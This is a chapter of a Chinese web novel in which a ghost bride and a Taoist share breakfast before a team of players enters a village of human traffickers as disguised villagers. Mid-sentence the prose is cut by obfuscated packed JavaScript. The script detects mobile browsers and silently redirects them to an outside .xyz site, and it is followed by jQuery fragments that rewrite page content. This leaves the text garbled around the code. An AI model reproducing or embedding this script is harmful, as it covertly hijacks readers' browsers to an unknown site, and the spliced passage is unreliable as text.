仿佛踩在云端,脚下没有坚硬的支撑,却也不用担心失重,被蓬松的云朵托举着,连灵魂都变得柔软慵懒。
手中还有什么软乎乎的Q弹小东西。
尤晚朦胧的睁开“眼”,其实变成鬼物后,她视物用的不再是具体的眼睛,而是无形的力量。
只要在她力量的笼罩范围内,她就可以看到并掌控一切。
阳光透过窗户,碎金一样洒满了整个书桌,像一层柔软的暖纱铺开,柔柔的延续到床边,在阳光里,能清晰看到舞动的灰尘。
她不知何时侧躺在两个枕头之间,手无意识前伸着,跨过道士的枕头,捏住了那个蓝东西。
此刻,那玩意儿在她手掌下瑟瑟发抖。
清醒过来的尤晚瞬间嫌弃甩手,并在道士枕头上搓了搓。
鼻尖是道士身上竹林的气味,草木汁液的青涩和竹叶微苦的清香,清冽独特。
原来人的灵魂真的有气味。
她竟然睡着了,难得的安眠让焦躁暗沉的心久违变得和缓懒散。
几百次的轮回里,没有一次让她有机会去睡觉。
一下子有了盟友,好像背后有了能暂时依靠的墙,可以放松下绷紧的肩背,疲惫的依靠着她。
趴在床沿,手指指甲触到地板,她走入竹林,顺便无形的眼睛搜索那根一大早不知道去哪里的竹子。
那人在院子里晨练,穿着藏蓝色的道袍和白色的下裤,脊背挺得笔直,脖颈到腰腹的线条利落舒展,更像一根迎着风的青竹。
道士双手如引弓般舒展,腰腹微沉,让全身的灵气从丹田流转,缓缓漫向四肢。
脚步挪动间踩着独特的韵律,带起的气流拂动衣角。手掌似托流云,似抚清风,招式间不见凌厉,反而圆转随心。
无形的气流被道士搅动,地上的落叶震颤,跟着道士的动作在地上轻微腾挪。
收势吐气,徐惜今额角沁出细汗,难得眼眸庄重专注,整个人浸在晨光里,透着沉静通透的气劲。
她迅速适应了只能发挥原先一半实力的感觉,并按照037的说法,以灵气蕴养自己的灵魂。
“早安,晚姑娘。”徐惜今回头和站在窗前的人问好,打到一半就发现了那道幽幽粘过来的眼神。
晚姑娘好似习惯了在暗地里观察的感觉,总是喜欢在某个角落,窥伺般看着所有人。
此时窗口正对着阳光,女人额角绒毛染上了暖融融的金边,唇都上了一层健康的暖色。
身上还是那件艳红嫁衣,整个人端庄的站在那里,好像在发光。
徐惜今眨了眨被刺到的眼,“晚姑娘,一起来吃早饭吧,小道煮了粥。”
037欢快出门,跟上宿主的脚步,【宿主现在还需要进食提供能量吗?】
[似乎不需要了,但小道还有口腹之欲。]
[037呢,想试一下进食吗?]
【好呀好呀!】
早起没有打扰这一鬼一统,道士一个人简单探索了一下厨房和正屋。
出于好奇,想要知道为什么记忆里她在山上的婚房醒来,结果小院侧屋里装饰和婚房一模一样。
她去了记忆中山上婚房的位置,那里的房子倒是还在,里面的装饰却都陈旧泛着霉气。
看来是晚姑娘的置换手段,真是厉害。
回来笨手笨脚煮好粥后,徐惜今就去晨练了。
现在看着卖相还可以的粥,不由松了口气。
苍生派的道士总在赶路,不是在荒郊野岭追杀妖鬼,就是在村县中执法断案。
她能自己做饭的时候很少,对自己的水平也没什么自信。
那两个家伙都跟着她进了厨房,徐惜今先拿小碟子盛了些,问落在她肩膀的蓝汪汪,[需要加些别的调料吗?]
【要糖!】
“晚姑娘呢?”拿着两个碗盛好粥的人问。
“……加糖一勺,谢谢。”化鬼后从未进食的人有些恍惚。
给道士准备的饭是从一户人家里顺的。
像是溺在深海,习惯了透骨冰冷黑暗的人,被突然拉上海面,许久未感受到的氧气和阳光已经让人陌生。
道士把加了糖的小碟子和勺子给了尤晚,自己端着两大碗粥去了主屋。
昨天莫名想要诱导她去县城的疯癫男人,今天已经消失不见。
整个屋子里根本无人在意。
徐惜今帮037把粥搅拌好,不动声色观察它。
037站在桌上,伸出一根圆手卷住碟子,团子上咧开一个嘴的形状,吸溜了一口粥,发出赞叹,【哇!味道很棒!】
真奇特,这样看上去能被搓圆捏扁的小东西也有可以消化的脏器,还能随意变换形态。
徐惜今好奇地看着037的身体,想知道里面是什么构造。
幽冷的注视感三百六十度无死角环绕她们,细致的好像想把系统剖开。
【……宿主,晚姑娘好像有话想和你说。】
咧着嘴傻乐的037感觉到危险,默默搂着碟子转身背对她们俩。
徐惜今回头看依旧紧密贴着她坐下的鬼,正双手抱着碗,面无表情回视她。
好心道士顺手帮她也搅拌好,才看见这人满意回头,僵硬地拿勺舀粥喝。
像是养了两个跟宠。
但也不错。
道士悠哉的开始享用自己的劳动成果。
037喝完自己顶着碗去盛了,再回来粥上面有个小小的糖尖尖。
这次它懂事的自己搅拌了。
温馨的早餐时光很快结束,037顶着碗,伸出多个圆手拿着勺子去洗刷了。
道士注视着外面不知何时泛起的浓雾。
“新一轮的人,要来了。”尤晚本来不错的心情又开始低沉,语气里染上了烦躁的淡淡杀意。
“机会也要来了。”道士轻声安抚,滚热的手心附在了尤晚手背。
浑身开始黑气描边的女鬼自然的把另一只手也叠了上去,吸取温度。
明明一想到被外来人翻找到真正的过去,就抑制不住杀人的欲望,但是被这个道士知根知底的看到全部痛苦,却没有很难以忍受。
道士的眼睛如湖海,接纳了她的痛苦和绝望,在无措与不适应下感到被理解,被包容。
她是完全不同的人。
眼前的景色开始扭曲,在褪色坍塌的房屋里,两块浓烈深刻的颜色被搅碎融合,最终消失。
浓雾里,远山上的草木影影绰绰,出现在大树下的四人看着那块刻着“山神村”的石碑,面色凝重。
“徐队,真的进惩罚本了。”高大健壮的寸头男人一边搜查身上线索一边忧虑地说。
面目冷厉的女人已经掏出兜里的糖果,皱眉瘫在手心。
“先搜查,确定身份,这次任务的核心是:活下去,带回重要信息。”徐队是一位短发女性,带着眼镜,镜片后的眼睛冷静锐利,她摊开手,手上是一叠各样的名片。
寸头兜里是钥匙,一直沉默的精瘦男性身上是叠块小毛巾和细绳。
“拐卖和邪教,以一个村子为单位,我们的身份估计都是,”徐队忍不住厌恶恶心地抿嘴皱眉“人贩子。”
“千万不要暴露,注意眼神。”
三人不约而同露出恶心晦气的表情。
“真想把他们拉一排枪毙一万次。”女人不爽地嘀咕,徐队安抚地拍了拍她的肩膀。
“进入后估计需要角色扮演,注意和自己相关的信息。”徐队最后一次嘱托,深深看了眼自己的同伴们。
哑声说出,“别忘了……约定。”
约定的内容是,一旦身份被发现并暴露到无法隐藏,拼尽全力杀死能杀死的鬼怪后自爆,给其他队友喘息的时间。
惩罚本只能带三个道具,四个人都携带了爆破类道具。
这是管理局商量下做出的计划,所有签了字的小队,都带着必死的决心。
她们是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220334|181494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开拓者,是进入惩罚本的第一队。
“寸头,估计你是领头或者家里地位不错。”根据崭新的夹克衫,牛仔裤和那双鞋,徐队简单猜测。
“知道了,徐队,我会小心。”寸头严肃应下。
这种村子极度分阶层和排外,合伙赚钱,下来的大头都由村里长辈们分了,剩下的才到年轻人们。
两个女性都是看起来比较廉价的鲜亮T恤和松垮的运动裤。哑巴穿了间碎花衬衫和牛仔裤,踩了双有些脱胶的冒牌运动鞋。
没多犹豫,几人记下相互的细节,在越来越近的雾气无声逼迫下,踏进了村子。
村口坐着的老人睁眼,脸皮像皱起来的麻袋一样笑起来,“顺儿回来了!”
整个村像是活了过来,不少人探头出来笑着招呼,许多中年男人靠了过来,和他们说话。
“是啊!赶着回来了!”寸头进入状态,憨厚笑着一一回应。
不知道这个老人是他什么身份,他不敢乱喊。
“顺儿哥长得越发壮了,像你老子年轻时候!”一个黑脸汉子拍着寸头臂膀嚷嚷,旁边的老人露出了得意的笑。
有人笑嘻嘻去逗哑巴说话,“富贵跟着顺儿哥,这次赚了多少?”
“对了,早早,你爹把你姐找到喽。”说出这话的男人凑近想握住徐队的胳膊,表情奇怪。
周围人听到这句话,明显静了下,眼神暗地里都看了过来,如出一辙的奇怪表情,蔑视警惕里带着一丝说不清的恐惧。
“我姐?”徐队握住他的手腕一捏,男人整个胳膊一麻,没来得及发怒,看见顺儿哥阴沉沉看来,他讪笑着退后。
“是啊,你好早失踪的姐姐,被你爹上次出去给找回来了,回去认认吧,早早。”
“她还带回来个女婿,是个道士嘞。”
“古怪的很,那个道士……”
众人七嘴八舌补充。
“行了,富贵留下吃口饭,和叔讲讲你们这次出去。”村长交代完,才想起什么似的说,“王家那姑娘,你娘前几天摔跤了,你记得去老和那儿看看。”
四人基本理清身份,也从村民之间交谈了知道不少隐藏消息。
“早早,我吃完饭去找你去。”寸头进屋前回头说,没走远的村民都露出了窃笑。
“顺儿哥喜欢早早,早早算是有福了,村长家有钱……”
“那得亏老华没把早早也卖了,要不然现在也收不上村长好处……”
“村长不像是会给,再说老华烂泥一滩……”
徐队一边往前走,一边收听这些窃窃私语。
她的道具[游戏眼镜],能扩大五感,标记鬼怪弱点,并在副本人物前隐藏。
那个赖皮蛇一样的男人慢慢跟在她后面,眼睛觊觎的跟随着她,又碍于顺儿哥不敢靠近。
找个机会杀了,今晚行动。
人们说到她这个“父亲”的时候,看完她会下意识往这条路方向看。
火焰要去的白房子诊所很显眼,而寸头哑巴会在饭桌上套话,现在不用担心大家。
徐队就沿着这个方向不急不缓行动,很快看到一个院门口枯树一样站立着的男人。
“回来就和你姐,还有……姐夫,打个招呼。”
驼背的男人顿了一下说完,脸色变得阴沉凶狠,转身先进了院门。
徐队注意到了他脸上像耳光一样的指痕,走路也有点一瘸一拐。
而院子里,穿着藏蓝色道袍的女人正笑着看向她,“欢迎归家,早早,小道徐惜今,是晚姑娘伴侣。”
而开了窗户的偏房里,穿着红嫁衣,黑带束眼,鬼气森森的惨白女人正在无声注视着她。
无形的压力在这个阴森院子里蔓延,细针般隐约的杀意像是毒蛇在吞吐的信子。
徐队呼吸微不可见的一窒,寒毛竖起,心头发沉。
她推翻了寸头家最危险的结论。
眼前这个,显然更混乱和深不可测。